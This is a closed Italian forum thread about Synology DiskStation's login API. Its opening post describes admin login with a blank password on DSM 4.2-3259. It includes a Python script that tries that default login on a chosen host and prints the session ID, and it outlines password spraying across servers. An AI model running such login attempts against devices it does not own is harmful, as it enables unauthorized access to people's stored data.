Discussione Synology DiskStation - Fuzzer!

Stato
Discussione chiusa ad ulteriori risposte.

Netcat

Helper
17 Gennaio 2022
546
153
402
866
Ultima modifica:
Synology Diskstation DSM è una struttura critica, un dispositivo di archiviazione di rete. Questo dispositivo è solitamente in ascolto sulla porta 5000 per le richieste in plain HTTP, mentre ascolta su 5001 per le richieste HTTPS (anche se ci sono problemi d'accesso in caso il certificato SSL sia invalido, o auto-generato)

Questo server ha due zone d'ingresso, la prima è l'endpoint /webman/index.cgi che viene usato per l'autenticazione tramite browser.
La seconda zona d'ingresso è un'autenticazione tramite API endpoint, situato su /webapi/auth.cgi

L'API endpoint di questo dispositivo, accettando credenziali, può essere potenzialmente sfruttato per un attacco bruteforce o per un attacco di password spraying inviando una richiesta GET con i parametri api, method, version, account, passwd, session e format. Il server, di default (non so perché) consente l'autenticazione tramite <blank> password e l'username admin. Il parametro verify=False va incluso qualora il server giri su HTTPS implementando un certificato invalido o auto-generato.

Allora, io credo sia piuttosto arrogante chiamarla "vulnerabilità", perché sono ben accorto del fatto che c'è gente che fa di meglio quando si mette a fuzzare un API, ma il fatto che oggi abbiamo dei router che implementano di default password difficilissime mentre un'infrastruttura critica come Synology non lo fa, mi fa parecchio riflettere. Il seguente script l'ho modificato in modo da permettere il fuzzing di un singolo indirizzo IP. Per consentire il fuzzing di più indirizzi alla volta basta modificare una funzione, ma preferisco pubblicare una versione "depotenziata" qua, dato che questo thread è a scopo educativo.

Il password spray è simile ad un attacco bruteforce, con la differenza che andiamo a testare le stesse credenziali su server diversi. Nel commento finale, ho appeso "Synology DiskStation Manager (DSM) 4.2-3259" perché ho sperimentato solo contro questa versione del DSM, ma non è escluso che anche le versioni successive possano avere le credenziali di default deboli.

Python:
import requests

# Replace the placeholders with your DiskStation credentials
username = 'admin'
password = ''

# Prompt the user to enter the DiskStation IP address or hostname
hostname = input("Enter the DiskStation IP address or hostname: ")

# Define the authentication request parameters
auth_params = {
    'api': 'SYNO.API.Auth',
    'method': 'login',
    'version': '2',
    'account': username,
    'passwd': password,
    'session': 'SurveillanceStation',
    'format': 'sid'
}

# Send a request to authenticate and obtain a session ID
response = requests.get(f"https://{hostname}:5001/webapi/auth.cgi", params=auth_params, verify=False)

# Process the response
if response.status_code == 200:
    data = response.json()
    if data['success']:
        sid = data['data']['sid']
        print("Authentication successful! Session ID:", sid)
    else:
        print("Authentication failed:", data['error']['code'], data['error']['message'])
else:
    print("Authentication request failed. Status code:", response.status_code)

# Print the response from the server
print("Response content:")
print(response.text)

# Synology DiskStation Manager (DSM) 4.2-3259
 
  • Mi piace
Reazioni: TheWorm91
Molto interessante
consente l'autenticazione tramite <blank> password e l'username admin
Com'è possibile che sia presente una vulnerabilità così grave?
Synology DiskStation Manager (DSM) 4.2-3259" perché ho sperimentato solo contro questa versione del DSM, ma non è escluso che anche le versioni successive possano avere le credenziali di default deboli.
Cercando in rete ho visto che l'ultima versione è la 7.2-64570, voglio sperare che la falla sia stata già patchata nelle versioni precedenti...
 
Ultima modifica:
Ma, questa di per sé secondo me non è una vulnerabilità nell'OS (alla meglio è una vulnerabilità nella mente dell'amministratore), e il codice che ho scritto è un fuzzer, non un exploit. Il fatto che Synology non implementi una password di default forte come fanno altre fabbriche mi fa pensare che hanno avuto poca cura nello sviluppo dell'OS, suggerendo inoltre che potrebbero esserci annidate delle vere vulnerabilità, come OS command injection, ma il fatto che accetti blank password di default per me non è una vulnerabilità. Basta aggiungerne una. Anche Windows, dalla versione 3.1 fino al 7 non ti "costringeva" a mettere una psw forte di default, tuttavia bastava aggiungerla manualmente...

Poi lo script è incompleto, oltre alla funzione di "bulk" testing che ho escluso per ragioni di sicurezza, va implementato anche il metodo d'autenticazione in plain HTTP, sulla porta 5000 (non tutti gli OS Synology consentono l'autenticazione in HTTPS 5001)
 
Stato
Discussione chiusa ad ulteriori risposte.